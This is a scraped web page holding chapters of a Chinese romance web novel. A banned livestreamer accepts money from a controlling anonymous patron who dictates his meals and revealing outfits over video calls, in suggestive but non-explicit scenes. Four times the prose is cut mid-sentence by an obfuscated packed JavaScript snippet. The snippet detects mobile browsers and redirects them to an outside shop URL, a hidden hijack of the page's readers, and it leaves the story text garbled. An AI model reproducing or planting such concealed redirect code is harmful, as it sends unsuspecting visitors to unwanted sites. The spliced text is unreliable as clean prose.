可就算只有百分之一的希望,宁桑也想试着维护下对方。 就当他不要脸吧。 宁桑回复了一个探头的表情包。 他脚踩上床,整个人蜷缩着,神经质地拽自己的头发。 只要、只要能留住0920,之后直播间观众少也没关系…… 宁桑手上的发丝猝然被他拔断,他看着聊天框多出的那条消息。 0920:听说平台封了你的直播间,你现在缺钱吗? “我直播间被封了?”宁桑去向岑唯确认。 岑唯也像刚得知这个消息,他拿出手机看了下:“显示封禁三个月,是平台封的。” “为什么封我,就因为我说了徐骁几句坏话?”宁桑气得笑了一声,“他徐骁是什么说不得的人吗?怎么不把那些营销号一起封了?” “小宁,你冷静点。”岑唯在手机上打着字,“我找管理问问。” 在管理的消息回复过来之前,宁桑气得又对着空气骂了徐骁几句。 都怪徐骁这个扫把星! 接什么新剧,钱都赚那么多了,怎么不回家喝奶! 宁桑情绪一激动,眼泪就会控制不住往外涌,他眨了眨眼,一颗泪珠砸到了手机屏幕,恰好滴上0920的那条私信。 看0920这意思,似乎不是来问罪的? “我问到了,那边说是影响不好,所以封了。”岑唯说,“你提钱了吗?钱包好像一块冻结了。” 一晚上直播能赚四位数,宁桑后台还攒了两三天的打赏没提,所以他早上没怎么犹豫,就把身上的钱都转给了王叔。 岑唯知道宁桑似乎是欠了别人的钱,才来直播的,可能钱一到手就还对方了。 “没事,房租我先帮你垫付,你这几个月跟着我吃吧。”岑唯说。 昨天这个时候,宁桑还在睡梦里计划着参加活动,早点凑够钱,没想到不到二十四小时,他就失去了唯一的饭碗。 “那边等不了的。”宁桑喃喃道。 “什么?”岑唯没听懂。 宁桑垂下脑袋,他把屏幕上的水花抹去,点开了输入框。 敲了字又删,反复来回几次后,宁桑还是选择发表情包。 小狗可怜兮兮咬着空碗的表情包发过去后,宁桑狠狠地把手机摔在了床铺上。 “去我那边吃早饭吗?”岑唯问。 他想转移宁桑的注意力,不让他再看着手机。 “我这是自作自受吧?”宁桑把脑袋埋进膝盖里,只留给岑唯一个后脑勺。 他要是真像大家期望的那样,是个乖巧小孩,是不是就不会发生这种事了? 宁桑没有在难过里沉浸太久,父母去世后,他就迅速明白了,多想不会给现实带来任何变化。 他跟着岑唯去吃饭,等岑唯煮面的时候,宁桑一条一条看着后台的消息。 徐骁为人低调,连绯闻都没有过,在路人那里口碑很好,来骂宁桑的,除了他的粉丝,还有很多只看了片段的路人。 在划到其中一条时,宁桑没忍住笑了。 【真是信了长得越漂亮越恶毒。】 “傻啦?”岑唯把卧了两个蛋的面放到宁桑面前。 “有人夸我好看。”宁桑看了眼面,“两个荷包蛋太多了。” 岑唯:“不多,你瘦成这样还不想着多吃点?” “瘦点上镜好看是你说的。”宁桑闻着面香,肚子配合地叫了几声,他拿筷子挑起面,往嘴里吸。 岑唯看着宁桑吃,确定他还有胃口后才放下心。 宁桑还是把一个荷包蛋夹到了岑唯碗里,吃饱他很自觉地去洗碗。 0920会回他吗?宁桑恍惚想,可就算他不生气,这几个月宁桑也没法直播,要怎么办呢? 宁桑不禁想到某个可能性,想象刚冒出来,他就咬了下嘴,打住不再往下想。 先别说0920大概率是个大叔,就算他真是个年轻人,宁桑也不会去做出卖自己身体的事。 妈妈会失望的。 他想。 宁桑在岑唯这里窝了一个上午,骂他的话源源不断涌进后台,宁桑从一开始看得心跳过速,变得能平静面对。 只是个别维护徐骁的话,看得他很想骂回去。 中午岑唯点了披萨,宁桑吃了一块,就跑到厕所吐了个干干净净。 他洗了把脸,鼻尖都难受得泛红。 岑唯给宁桑倒了温水,说要给他煮粥吃,宁桑闷声应着,他看着岑唯进厨房的背影。 至少他还是有一点幸运的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496886|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初碰到的是好心肠的岑唯,而不是高利贷。 宁桑拿起手机,第不知道几次点开和0920的聊天框。 不同的是,这回那里刷新出了新的消息。 0920发了个微信号给他。 明明自己等的就是这个,宁桑第一反应却不是复制了去添加,而是把直播软件给删了。 我只是先加他,维系下感情,和他聊聊天而已。 宁桑催眠着自己,搜出了那个微信号。 意外的是,0920的头像不是很上年纪的风格,而是一只很漂亮的小奶狗。 宁桑心一狠,点下了添加,同时把直播软件卸载了。 他不想再收到那些私信。 短暂清净过后,手机嗡嗡震动起来,宁桑差点把手机摔到地上。 0920:吃饭了吗? N:刚吃饱呢,哥你吃了吗? N:小狗歪头.jpg 这人看起来喜欢狗,宁桑决定投其所好。 0920:照片。 宁桑刚点开相册,要扒拉张图给他,忽然想到什么,切回了聊天框。 N:哥,我骗你的,我还没吃QAQ N:平台把我账户冻结了,我好久没提钱,刚好花光了TvT 宁桑没这么直接地跟人要过钱,话刚发出去,他脸颊就热了起来。 岑唯把粥炖上,回过头,看到的就是脸红扑扑的宁桑。 宁桑的皮肤比常人要白很多,脸颊一红,就特别明显。 岑唯看得有些羡慕,想这比什么腮红都有用。 他还没来得及感叹几秒造物主的偏心,沙发上那颗红苹果突然瞪大了眼,把手机丢到了沙发缝隙里。 “不是叫你不要看了吗?”岑唯上前,趁机捏了捏宁桑手感颇好的脸颊肉。 宁桑一反常态,没有立马挥开岑唯的手,他胸膛起伏,深吸了几口气:“我是不是和你说过,就算直播间没人了,我也不会去擦。” “嗯?有人私信你吗,别管他们。”岑唯察觉出了不对劲。 宁桑攥进了自己的衣服下摆:“我要去找工作。” 岑唯把桌上吃剩的披萨收拾了下:“我之前问你读完大学了没,你都不理我。” “读完了。”宁桑说了个首都的大学名字。 岑唯盖盒子的动作顿住:“你再说一遍?” “高三努力了下才考进去的,上大学后没少翘课。”宁桑一直把自己当小孩,觉得毕业后也要住家里,跟父母黏在一起,根本没考虑过自己的未来。 学的知识早已遗忘,更别提什么大学积攒的人脉了,认识的朋友都和他换掉的手机号一块,被他切割了开来。 “有文凭就好找工作了。”岑唯说,“上班后再慢慢学。” “有没有一个月工资十万的工作啊……”宁桑问出这句话后,自己先绝望了。 岑唯想了想:“其实还挺多的。” “跟我没有关系。”宁桑躺倒在沙发上,抓过一个抱枕,掩住了脸。 他脑袋朝的方向,恰好是他丢手机的地方,手机震动声清晰地传到了他耳朵里。 宁桑想起刚才看到的消息,脸有再度烧起来的趋势。 之前装得那么正常,果然还是个变态!! 5. 衣服 虽然0920只说了要宁桑每晚一对一视频直播给他看,但一对一,除了擦/边内容,还能播些什么? 难道他是要听宁桑讲睡前故事吗? 宁桑才不信那个老男人有这么好心。 喝过岑唯煮的粥后,宁桑魂不守舍回到了楼下。 他扑向床,摆成大字,拥抱永远不会嫌弃他的床铺。 0920没有再发消息过来,像个半点不着急的猎人。 宁桑在床上来回打了好几个滚,内心天人交战,他把能快速赚钱的方法都想了个遍,发现它们都写在了刑法上。 “我怎么混成这样了啊!” 这个问题,刚开始直播时,宁桑也问过自己,那天晚上他收到了几百块打赏后,就不问了。 现在他又问了一遍,所有的情绪最后变成了对徐骁的怨恨。 宁桑迅速抓过手机,轻车熟路地找到了一个徐骁的黑贴,看过大家骂他的话后,才舒心了不少。 心情顺了,就该面对现实了,宁桑不知道0920是不是一时兴起,可能等不到他回答,就会去找别的主播看。 错过这个机会,他不一定能再碰到这么有钱的大款。 宁桑打开了和0920的聊天界面,先找了个可爱的表情包发过去,又问他想看自己播些什么。 0920发了几张截图出来。 宁桑只看了一眼,嘴角就僵住了。 冷静。 现在没钱换手机。 不能砸。 砸不了手机,宁桑只能无能狂怒地躺在床上,踢了好几下空气。 0920发来的截图,是好几套衣服,每一件的布料都不怎么多,且走的都是可爱风格。 宁桑连穿岑唯给他那套运动服和小围裙,都觉得别扭,更别说真的去穿裙子。 我就是从十九楼跳下去,我也不会穿的! 宁桑恨恨地想。 半小时后,宁桑发了个附近快递站的地址过去,换来了一笔自愿赠与的转账。 N:谢谢哥。 N:小狗蹭手.jpg 0920:先吃饭。 N:嗯!我会吃饱饱的! 刚才岑唯煮的是青菜粥,宁桑觉得还挺健康,下意识拍了张照片。 过了会后,他干脆把这张照片发了过去。 0920没有回复,宁桑有些忐忑,忐忑过后,他又觉得自己有毛病。 这人没来折腾自己,难道不是好事吗? 宁桑趁这个时候去冲了个澡,他把头发在脑后扎成了一个小揪,埋头收拾起房间。 窗帘大开着,今天是个大晴天,阳光洒进屋,能看清飘浮在空中的细尘。 宁桑把垃圾清扫一空后,站在阳光下,发了会呆。 让他回过神的是手机提示音,宁桑不太情愿地挪到床头,拿过充好电的手机。 0920:快递傍晚到,记得去拿。 这人在宁桑眼里的样子,越来越往急色的大叔靠近。 他表情包还没发出去,0920就又发来了一份表格。 表格? 宁桑点了开来,等表格加载完毕,看清内容后,他没忍住抬手,碰了下自己的额头。 没发烧啊。 我看到的难道不是幻觉? 那是什么? 表格里按一天三餐的规格,安排好了每一顿吃什么,忽略掉那些麻烦的食谱,最可恶的是,每天的标准里都有一杯牛奶。 这表格做的颇具强迫症风格,食材和用量都标准得明明白白。 不知道的还以为科学养猪呢。 宁桑装傻问0920这是什么意思。 0920:下个星期,按表格上的吃。吃饭时要录视频,或者给我开直播。 N:??? N撤回了一条消息。 N:哥,太麻烦你啦,我随便吃点也行的! 0920:不行。 宁桑抓过床上的一只抱枕,把抱枕当成这个控制狂锤了好几下。 锤完,他点开余额,看0920刚转给他的钱,咽下了这口气。 没关系,等钱攒够了,就和他说再见。 反正他到时候要找我,也找不到了。 宁桑乐观想完,丢开手机,躺床上补了个觉。 睡前看到的东西,会影响梦境,宁桑梦到自己穿了一身裙子,对着一个看不清的模糊影子,撩起了裙摆。 醒来的时候宁桑太阳穴突突地疼着。 手机在响,宁桑没看清名字就点了接通。 “您好,您有一份包裹到了……” “好的,我马上去拿。” 宁桑挂断电话,在床上坐了起来,屋内已经暗了下来,宁桑抿着嘴,委屈又密密麻麻爬上了他的心脏。 他很想哭。 哭出来之前,微信提示音打断了他的情绪。 0920:记得做饭。 宁桑想起这茬,才发现自己连菜都没买,他家里那堆速冻食品,是变不出一顿健康晚餐的。 换了长袖T恤和长裤,宁桑拿钥匙出门买菜,顺便拿快递。 几乎是一出公寓楼下的门,蚊子就朝他围了过来。 宁桑面无表情地戴上口罩。 他讨厌夏天,最大的原因就是他太招蚊子咬,所以一到夏天,他只会闷在家里,哪也不去。 宁桑一头发色显眼,露出来的眼睛,和白皙的颈脖都很吸引视线,在市场里买菜时,不少人盯着他看。 “阿姨,帮我拿两个青椒。”宁桑和卖菜的中年女人说。 他抬手扫码付钱时,袖口往下滑,突出的腕骨落到卖菜阿姨的眼里。 “诶,小娃怎么这么瘦哇?”阿姨操着一口方言,“是家里喊你出来买菜的不?多给自己加餐啊。” 说着,她往袋子里塞了一把葱和香菜,又给宁桑说市场西出口有家炸鸡翅,味道很好,让他买去吃。 宁桑安静听着她说完,又和她道了谢。 提着买好的菜,宁桑下意识绕了路,往西出口走去。 果然有家排了长队的炸鸡翅店。 宁桑站到了队伍末。 他在这里吃个鸡翅,那死变态又看不到。 这么想着,宁桑在去拿快递的路上,啃完了一只鸡腿。 他胃很浅,吃完一只鸡腿,已经感觉不到饿了。 0920看上去也不是什么闲人,说不定没空催他直播呢,他晚点吃,也没什么问题吧? 宁桑进了快递站,找到了自己的那份包裹。 “这么大?”他没忍住出声问。 这个大箱子到他胯了,宁桑试着抱了下,没抱起来。 这人是给他买了多少衣服?! “我们可以帮忙送上门哦。”快递站的工作人员适时开口。 宁桑还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496887|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点头,对方又说:“这个大小,一公里內二十块。” 宁桑缓缓低头,看着纸箱,想他也不是不能试试看。 带着箱子回到家门口时,天完全擦黑了,宁桑靠在墙上,气息不稳地喘着。 他摘下口罩,把口罩卷起来,丢进了楼道的垃圾桶。 岑唯恰好下楼找宁桑,看到的就是额发被汗水洇湿,脸颊通红的人。 “怎么了?”岑唯上前,碰了下宁桑的脸,有些紧张地开口,“你发烧了吗?” “热。”宁桑嘟囔了句。 “这是什么?快递?”岑唯看向那个大箱子。 宁桑手腕脱力,很想让岑唯帮他拆,但想到箱子里是什么东西,他及时打住了这个念头:“没什么。” 岑唯不再追问,他问宁桑晚上吃什么。 装菜的袋子是黑色的,宁桑把袋子藏在身后,说刚才在外面吃过了。 “那行,有事你得和我说。”岑唯还得去准备晚上的直播,确认宁桑没有自暴自弃后,就回楼上了。 宁桑把箱子拖进了屋,找了把剪刀,开始拆快递。 拿开最上方的泡泡纸,先映入眼帘的,是一个毛绒猫耳发箍。 宁桑:…… 他把发箍拿起来,听到了铃铛声,拆开袋子后才发现,里面还有一条带铃铛的项圈。 宁桑像碰到了烫手山芋,直接把东西丢了出去。 只看了一样饰品,他就想爆炸了,不知道这满满一箱子的东西,该怎么处理。 处理不好的事情,可以先放一边。 宁桑带着菜到了小厨房。 他不太会做饭,之前天天吃快餐,很大一部分原因,也是这个。 看着在面前一字排好的食材,宁桑沉默了接近一分钟。 他找出0920发来的食谱,确定上面只标了食材用量,和菜式,并没有细致到每一步该怎么做。 好在宁桑智商没问题,他知道上网查。 “也没什么难的嘛。”宁桑说着,举起了菜刀,对着青椒一刀劈下去。 圆青椒转了个圈,从案板上逃跑了。 宁桑:? 他把刀刃对着自己,检查了一遍。 这刀没问题啊。 把青椒又捉回原位,宁桑这回换了个策略,他用刀尖对准了青椒头部,一刀刺了下去。 刀成功刺进青椒,宁桑得意地“哼”了一声。 他按着刀柄,想顺着这个姿势,把青椒一分为二。 但是刀卡在了青椒里,而刚才搬箱子搬到手腕脱力的宁桑,差点把刀连着青椒都甩飞出去。 宁桑瞪着那颗青椒盯了一会,想先拆包裹,也不是不行。 毕竟包裹有手就能拆。 世上无难事,只要肯放弃。 宁桑又回到了大箱子旁。 最上面一层放的都是饰品,已经看过了猫耳朵和铃铛项圈,宁桑对那些狗耳朵,蓬松大尾巴,勉强接受了。 他没有全拆,只拆了几个看,就把东西连着防尘袋,丢到一旁的地上。 饰品底下拿出的第一件衣服,是一件很短的T恤,大概只到肋骨。 除了T恤,还有一条卡大腿根的短裤,和一双网格袜。 在宁桑对着这暴露的衣服怀疑人生时,旁边的手机震动了声,弹出0920的消息。 0920:还有十分钟吃晚饭,穿我给你买的衣服直播。 6. 难驯 宁桑在做饭和换衣服之间,选择了前者。 他本想把厨房战况发给0920,委婉地和他展示自己的厨艺,表示他暂时做不出这顿饭,以后也做不出来。 最好不要再让他做饭了。 但想到以前骗他自己有好好吃饭时,发过的那些网图,宁桑又不敢说了。 他只好再细致地去查切青椒的方法,重新切那颗青椒。 第一步,先把不小心插进去的刀拔出来。 宁桑一手按青椒,另一只手握住刀柄,先轻轻拔了下。 刀纹丝不动。 他深吸一口气,换了个力度,这回后背直直撞上了身后的冰箱。 “……怎么连颗青椒都欺负我啊。”宁桑不满道。 他把青椒放倒,终于成功切下了一片。 宁桑松了口气,按着教程,一点点将青椒切好。 艰难地做完一顿饭,傍晚吃的鸡翅也差不多被消化完了,宁桑坐到电脑桌前,看着桌上的两道菜,还挺有满足感。 他拿手机拍了张照片,给岑唯发完,才打开和0920的聊天框。 刚才被他忽略的“十分钟”出现在眼里,宁桑愣了愣。 距离他收到0920这条消息,已经过去了四十分钟。 应该……没事吧? 宁桑忐忑地把饭菜照发了过去。 等对面回复时,宁桑拿起筷子,夹了几块青椒炒肉放进碗里,和米饭一块吃了。 糟糕,手抖下了太多盐,咸了。 宁桑灌水的时候,手机屏幕亮了起来。 0920:迟到不是好习惯,这回就算了,以后再晚点,会有惩罚。 “惩罚”两个字让宁桑睁大了眼,他想到了很多主播会玩的PK。 来钱快,但失败后的惩罚花样很多,宁桑听岑唯说过,听完他完全断了去和陌生人PK的念头。 撒娇道歉的表情包还没发出去,一个视频通话就弹了出来。 宁桑心脏跳得比第一次直播那天还快,他想先点拒绝,手忙脚乱间却按到了接通。 视频默认显示前置,宁桑看到了镜头里的自己。 脑后的头发随意的扎成了小辫子,前额的发丝还是湿的,贴在了额头上,脸颊有切菜时溅上去的一小片菜叶。 要多狼狈有多狼狈。 另一边的摄像头是关闭的,男人没有露脸,但开了麦:“衣服没换。” 他的声音很低,说话时像带着细小的电流,宁桑指尖无意识蜷缩了下。 这声音好听是好听,但听起来怎么……有点耳熟? 宁桑把手机盖到桌上,拉过旁边的小镜子,想先把头发整理了。 同时他在心里腹诽道: 声音这么好听,说不定是个胖子呢。 “我忘了,”宁桑用直播时的语气说,“对不起呀,哥。” 他把头发梳顺,又擦了擦脸,最后用力地抿了下唇,让嘴巴看起来红一些。 宁桑找了个支架,把手机支起来。 他告诉自己这是在正常直播,对面也不是只有0920一个人。 吃播而已,没什么难的。 宁桑拿起了筷子。 “把衣服换上。”0920的语气里似乎有点不悦。 宁桑完全没察觉到一样,他把筷子头咬在嘴里,含糊地说:“真的不能再商量商量吗?我、我不是很喜欢穿太暴露的衣服……” 说完他眨了眨眼,没戴美瞳的黑眼珠雾蒙蒙的。 比平常直播间里看起来还要无辜可怜。 那边安静了近十秒,把本来还坚定要耍赖的宁桑,等得不太安心,差点自己先脱口而出妥协。 “吃饭。”男人说。 “哥你人真好!”宁桑弯着眼睛笑,埋头吃起了饭。 除了饿到极点的时候,宁桑吃饭总是一口一口慢吞吞的,边吃还边得边做点其他事,不然总觉得不对劲。 以前吃饭,他会用这个时间看看后台私信,现在软件卸载了,他只剩下0920一个老板要面对,并没有什么私信能看。 连手机都看不了了。 宁桑望向后面的电脑,很想偷偷找部电视剧来放。 看徐骁的新剧,边看边骂他,也是项不错的娱乐活动。 在宁桑脑袋里念头不断生出时,另一边的徐骁正在捏着狗爪,给狗剪指甲。 平板立在了桌面上,徐骁说完话就关闭了麦克风,狗挣扎的嘤嘤声传不到宁桑耳朵里。 徐骁一手按着狗肚子,另一手把它脑袋托起来。 水汪汪的大眼睛看着徐骁,要多可怜有多可怜。 “撒娇是没用的。”徐骁说着,趁狗没回过神,剪掉了它过长的指甲。 被剪了一截指甲后,小狗奇异地老实了下来,就这么让徐骁剪。 徐骁有点意外,他看向了平板里那个吃一口饭,眼睛就要四处看一圈的人。 想小主播到底是没被训过的小狗,还是不会服管的猫。 这个问题的答案他可以留着慢慢验证。 徐骁把狗放走,又开了麦:“吃饭的时候要专心。” 那边的人像被吓到了,猛地一闭眼,又露出吃痛的神色。 “咬到舌头了……”他小声嘟囔着。 “十五分钟,把桌上的东西吃干净。”徐骁说,“饭后再过会,还得喝一杯牛奶。” 男生睁大了眼,可能是因为咬到舌的疼痛,也可能是对喝牛奶的不满,他眼角竟然泛出了一滴泪珠。 徐骁面无表情地垂眸看他。 - 宁桑不知道0920是怎样的一副表情,他只觉得对方欺人太甚,可想着今天的那笔转账,和正躺在重症病房里的人,宁桑什么都没说,他低头吃起了食物。 既然你要我吃饭快,就别怪我不敬业了。 直到吃完,宁桑都没抬头再看一眼镜头。 他很久没吃这么撑过,加上宁桑自己炒的菜,味道实在不怎么样,刚放下筷子,喉咙就一阵恶心。 他捂住了自己的嘴。 “想吐?”0920问。 宁桑摇着脑袋,一头金色的发丝跟着晃。 “九点喝牛奶,要给我发视频。”0920说完这句,先一步挂断了视频。 宁桑看着结束通话的页面,没再继续忍,他跑去了卫生间,吐了个干净。 一天吐两回,感受实在不怎么好。 宁桑接了杯温水喝,躺倒在床上,胸口不断起伏着。 想到待会要喝的牛奶,恶心又涌了上来,他翻过身,咬着被角生闷气。 在他气得把0920放上暗杀名单,和徐骁并列榜首的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496888|202558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,手机震动两声,宁桑有气无力地拿起一看,看到了一笔转账。 他等了几分钟才接收。 N:谢谢哥qwq 0920:等会记得把衣服换上。 宁桑坐起来,看着被他堆在地上的衣服,额角突突地跳。 死变态!那么喜欢这种衣服怎么不自己穿啊! 宁桑缓了会气,先去洗了个澡。 他在家一般只习惯套件长T恤,连睡裤都不爱穿。 洗完澡,把T恤一脱,宁桑认命地拿起那堆衣服,往自己身上套。 岑唯平时没少和他分享各种奇怪的衣服,他看了几眼,还是能明白要怎么穿的。 只是拿起那件中间镂空,前后都是交叉绑带的黑色背心时,宁桑的世界观还是被刷新了。 “有这样的打底吗?”宁桑把短背心穿上,发现前胸交叉的绑带恰好卡在很微妙的位置,他稍微一动,就忍不住弓下了腰。 宁桑从小就比常人更不经碰,除了父母抱他外,他不喜欢跟任何人亲密接触。 长大后,父母也不像小时候天天抱着他,而几乎不和别人有肢体触碰的宁桑,连手臂偶尔擦过门框,都会起鸡皮疙瘩。 更别提像现在这样明显的摩擦,还是在那个位置…… 宁桑咬着牙,把白色T恤套在了外面。 穿上低头一看,他才发现这T恤前面的图案部分,外围是拉链。 宁桑犹豫了几秒,抬手试着拉开拉链。 拉链很丝滑地被拉开,他前胸裸露的皮肤也感受到了外面的空气。 “变态。”宁桑把拉链拉上,想0920肯定是蓄谋已久,要不就是他本身不是什么好东西,不然怎么可能在那么短的时间內,找到这些奇怪的衣服。 上衣勉强穿好了,宁桑看着一旁的短裤,想拍个喝牛奶的视频,也没什么露全身的必要吧? 他戴好美瞳,把手机支好,将牛奶倒进玻璃杯里。 0920的要求是喝温牛奶,但牛奶是热是冷,宁桑觉得隔着屏幕他又看不出来。 而且热牛奶,比冷的还要让宁桑难受。 “哥,我开始喝了。”宁桑乖巧坐了下来,捧着牛奶对镜头念台词。 他不知道0920那天直播后有没有走,如果走了,又是否有在网上看到他“翻车”的视频剪辑。 但宁桑清楚,0920喜欢的是直播间里的他,所以他得演好那副模样。 嘴唇抵上杯口,宁桑闭着眼,内心视死如归。 腥甜的液体顺着他的喉咙往下流,喝了好半天,才少了半杯。 在宁桑放下杯子,想缓口气时,视频通话突兀地弹了出来。 宁桑看了眼时间,确定还没有过九点。 这还是个容易心血来潮的变态。 宁桑在心里给0920下了定义,他按了接通。 “我在拍视频呢,哥。”宁桑抿了抿唇角的奶渍,眨眼看镜头。 0920:“衣服换好了?” “当然啦,”宁桑抬起手臂,他连袖套都戴上了,“我很听话的。” 废话,有钱谁会不听话呢? “站起来,我看看。”男声说。 宁桑的笑容僵在嘴角。 他是嫌麻烦没有套网袜和裤子没错,但他底下……也没有穿睡裤啊!!! 7. 惩罚 “不了吧。”宁桑一心虚,眨眼频率就会有所提升,他睫毛扑闪着,手指在玻璃杯上摩挲,“我有点困了,想早点喝完牛奶去睡觉,可以吗?” “床上的是什么?”0920说话不带情绪,但他声音低沉,宁桑总觉得他在生气。 他下意识回头看了眼,在白色的床单上,看到了显眼的黑色短裤。 “箱子里有两条一样的裤子,我刚想和你说呢。”宁桑牙齿轻咬着舌尖,让自己保持镇定,“哥,你是不是不小心买多啦?” 说完,不等0920开口,他拿起杯子,一口气喝光了牛奶。 “我、我挂啦……”宁桑要去点结束通话,0920一句话让他手停在半空。 “你是不是没有弄清楚情况。”男声咬字很清晰,说到末尾,还轻笑了一声,宁桑的手抖了抖。 他心跳得飞快,比读书时被老师点名回答问题时还快。 0920只留下这句话,就把通话切断了。 没有被逼着要拍大腿明明是好事,宁桑却心慌得要命,他拿过手机想给0920发几个表情包,发出去前,他又想起了什么,赶紧站起来,把床上的袜子往腿上套。 来不及系好腰带,宁桑对着短裤边缘那截大腿,拍了张照,给0920发过去。 怕一张照片没法让0920消气,宁桑又咬着牙,拍了小腹。 他很瘦,腰线也漂亮,穿这种衣服拍出来效果很好。 把照片一股脑发过去去后,宁桑丢开手机,大口喘着气。 他都做了什么?! 怎么因为一句话就吓成这样? 宁桑想咬指甲,但怕把手指咬出血,明天视频会被询问。 他只能在屋内转了一圈,最后选择折磨床上的抱枕。 抱枕被狠狠摔了几下在床上,毫发无损地回到了床头。 手机始终没有动静,宁桑想拿起来看一眼,又别扭地不想那么在意0920。 这人是帮了自己很大忙没错,可他牺牲也不少啊! 他凭什么得这么讨好! 宁桑气鼓鼓地走进卫生间,摘了美瞳,再把身上的衣服都脱下来,重新套上他的宽松T恤。 收拾完后他关灯钻被窝一气呵成,把手机隔绝在了外面。 怎么还不回我,是真生气了?还是删我好友了? 宁桑心烦意乱地想着,又想到刚才拍视频的时候,手机好像要没电了。 宁桑愁得脑袋上的头发都翘起了几根。 五分钟后,一只手默默伸出了被子,摸了几下,抓到了手机。 指腹碰到手机,屏幕自动亮了起来。 电量剩百分之五,还有电,但也没有新消息。 宁桑顿时一阵羞耻,他第一次给人发那种照片,虽然不该露的一点也没露,可那两张照片,绝对算他以前不想做的“擦/边”行为了。 宁桑在被窝里又气又委屈,他点开了和0920的聊天框,照片早过了撤回期限。 他是把我拉黑了吗? 宁桑打开搜索引擎,搜索了怎么查微信好友是否拉黑自己的方法。 他回到了0920的聊天界面,点开了转账。 看到打过码后的收款人姓名时,宁桑愣住了。 骁? 宁桑终于想起来了,这人听起来异常耳熟的声音,是和徐骁很像。 可据他这个资深黑粉所知,徐骁并没有养狗。 声音类似的人很多,骁也不是什么生僻字,宁桑没有多想。 只是觉得讨厌的人,果然有共通的地方。 确认0920没有拉黑自己,宁桑点开输入框,想发些什么。 好像说什么都不对劲。 聊天框里的那几张照片太扎眼,宁桑长按把它们删除,眼不见心不烦。 看不到就等于没发过,他乐观地想。 昼夜颠倒的习惯,导致这个点他根本睡不着,宁桑拉过充电线,边给手机充电,边玩了几局小游戏,也没生出困意。 他打开了视频软件,想找点无聊的电影看。 软件上方弹出徐骁的电视剧,提示他是否继续上次的观看进度。 宁桑看着封面那张导致自己失业的罪魁祸首的脸,气不打一处来。 他点了进去。 昨天还没骂够呢,反正都这样了,总得让他骂个爽吧? 徐骁在这部戏的主要角色,是个儿子。 一般家庭剧里的主角,总得结个婚抱个娃,但徐骁是出了名的不拍爱情戏。 这部剧的主题,讲的是一个适龄未婚的男人,和家里发生的一系列矛盾。 宁桑看着屏幕里的中年人吵架,打了个呵欠。 下一秒,镜头转到了徐骁身上。 宁桑从刚才开始,就一直窝在被子里,他往上挪,脑袋垫到枕头上蹭了蹭。 徐骁这段戏没有台词,拍的是他正在家楼下修理电器。 男人穿着白背心,展示着他线条流畅的肌肉。 宁桑捏了下自己软嫩的胳膊肉,不高兴地生起了气:“傻大个!身体壮顶什么用!” 男人抬手擦额头的汗,导演却在这里给了徐骁的喉结特写。 宁桑咬着嘴唇,被子下的腿/交叠在一起,呼吸变得有点重,他看得心烦,干脆把注意力放到弹幕上。 弹幕里不少喊徐骁“老公”的。 他看着这些弹幕,皱了皱眉。 宁桑向来喜欢以最大的恶意揣测徐骁,他点开弹幕输入,劈里啪啦地打了一通字。 【还老公呢,他都不拍爱情戏,说不定是阳/痿,对异性没感觉。】 徐骁这部剧的热度着实高,不少人实时在看,宁桑这条弹幕发出去后没多久,就收到了举报通知。 “我说的才是真相。”宁桑带着不爽,把一整集看完了。 他不知道自己是什么时候睡着的,一觉醒来,手机还在被窝里,被捂得发烫。 宁桑迷迷糊糊的,恍惚间还以为自己做了场漫长的梦。 现在是中午,他得早点起来准备直播…… 幻想是被屏幕亮起弹出的消息打碎的。 0920:还有二十分钟吃早饭。 这条消息来自一小时前。 宁桑丢开手机,头朝下埋进枕头里,嘟嘟囔囔地说着0920的坏话。 骂舒服后,他才乖乖拿起手机,道歉求原谅。 他不知道0920还会不会和之前一样大方,只能走一步看一步,尽量讨好他。 如果他和0920真有点什么不干净的合约关系,那作为提供服务的那一方,宁桑的业务水平只能用一个“烂”字概括。 从不准时,也不听话,甚至连装乖都装不好。 宁桑还没忘记自己昨天给0920发了什么,他是删了记录,总不可能0920那边没收到吧? 为什么轻飘飘忽视了? 难道他不想看吗? 那为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496889|202558||http|test|mini|href|location''.split(''|''),0,{})); () { 